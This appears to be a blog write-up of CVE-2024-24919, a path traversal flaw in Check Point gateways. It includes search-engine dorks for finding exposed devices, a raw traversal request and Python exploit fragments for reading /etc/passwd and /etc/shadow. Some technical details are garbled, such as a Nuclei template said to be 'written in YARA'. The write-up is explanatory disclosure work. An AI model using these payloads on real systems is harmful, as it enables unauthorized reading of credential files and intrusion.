Check Point Security Gateways: CVE-2024–24919

Estimated read time 5 min read

Introduction

Check Point’s security products are designed to protect corporate networks, data, and devices from advanced threats and the exploitation of security vulnerabilities. They provide comprehensive and advanced security solutions that protect against malware, cyber-attacks, information theft, and vulnerability exploitation.

On May 18, 2024, Check Point disclosed a critical vulnerability (CVE-2024–24919) in Check Point Security Gateways devices (in versions R81.10 and R80.20). The vulnerability allows attackers to read local sensitive data from a device without validation (Path Traversal).
The vulnerability is considerable due to the large number of affected versions. To be vulnerable, the devices must be connected to the Internet and configured for remote access using either Remote Access VPN or Mobile Access Software Blades.

Earlier versions may also be similarly affected by R81.10 and R80.20 of the Check Point Quantum Security Gateways.

Using search engine platforms, we can find many vulnerable devices:

Hunter: /product.name=”Check Point SSL Network Extender”

FOFA: title=”Check Point SSL Network Extender”

SHODAN: http.title:”Check Point SSL Network Extender”

20,532 vulnerable systems on Shodan
6,300 vulnerable systems on Hunter

A Nuclei template for detecting the CVE-2024–24919 vulnerability is written in YARA.

POST /clients/MyCRL HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencodedaCSHELL/../../../../../../../etc/hosts

Nuclei with YARA rule

How does it work?

Path Traversal is an attack against a server or web application that aims to gain unauthorized access to the file system. This kind of attack allows attackers to read locally sensitive files that are related to a particular website.
The remote attacker sends a POST request to the server in “IP/clients/MyCRL/{path}”, including a path for reading sensitive files.

The process is based on an unsecured HTTPS connection that uses POST for a few reasons:

  • Data hiding: In a POST request, the data is sent in the request’s body rather than as part of the URL.
    – Security Policy: The server can be configured with a security policy that only restricts certain call operations to POST requests.
    – Server Requirements: Option that the server is configured only to accept POST requests for this specific endpoint.
Diagram of the process

An attacker can read sensitive files that can help them further exploit the system for an attack:

– “/var/log/messages”: Contains system logs and information about employee actions, system errors, and more.
– “/etc/sudoers”: Contains the permission configuration of the sudo command.
– “ /etc/group”: Contains information about user groups in the system.
– “/etc/passwd”: Contains information about system users.
– “/etc/shadow”: Contains encrypted passwords of system users.
– “/etc/hosts”: Defines relationships between IP addresses and domain names.

How can an attacker exploit it?

By using Burp-Suite, we can get and modify the POST request with the parameters that indicate the path traversal and read the sensitive file you want to access.

Once the request is ready, we will use the Repeater tool to send and modify it. By carefully changing the parameters and analyzing the server’s response, we can potentially access and read sensitive files that are not publicly available.

Burp-Suite Tool

As we can see, the response from the server displays the “passwd” output.
Furthermore, by reading the “shadow” file, attackers can read the admin’s hash and decrypt the hash to get the plain text password.

Let’s simplify it with Python code.

The code presented is intended to demonstrate vulnerability exploitation using a Path Traversal attack. The check_point function defines the server’s IP address and the path to the file you want to access. After that, it creates the full URL of the server and the content (payload) sent in the POST request. The headers are configured to match the request to the server’s requirements. Using the urllib3 library, the code sends the request and executes the attack.

– We used ‘urllib3’ to Disable insecure SSL zones to avoid insecure connection alerts:

urllib3.disable_warnings(InsecureRequestWarning)

– Building the server URL and payload that tries to access a file on the server:

url = f’https://{ip}/clients/MyCRL’

payload = f’aCSHELL/../../../../../../../../../../..{path}’

– Defining the Headers:

headers = {
‘Host’: ip,
‘User-Agent’: ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0’,
‘Te’: ‘trailers’,
‘Dnt’: ‘1’,
‘Connection’: ‘keep-alive’,
‘Content-Length’: ‘48’
}

– Sending a POST request to the URL with the defined payload and headers:

response = http.request(‘POST’, url, body=payload, headers=headers)

The code will display the file output we specified for the path in the server.

Summary

This vulnerability has been assigned a CVSS score of 8.6, indicating a high level of severity. The flaw puts a substantial number of devices at risk, providing a potential entry point for malicious actors. Exploitation of this vulnerability could enable attackers to perform a range of harmful activities, primarily focusing on the unauthorized collection of sensitive organizational information. In response to this critical issue, Check Point has promptly released a hotfix that is now available to affected users. Despite the availability of this corrective measure, it is strongly recommended that organizations disconnect the vulnerable devices from their networks until the weakness has been fully addressed. This precautionary step is essential to ensure the security and integrity of organizational data and systems.

Hotfix for CVE-2024–24919

CWE-200: Exposure of Sensitive Information

+ There are no comments

Add yours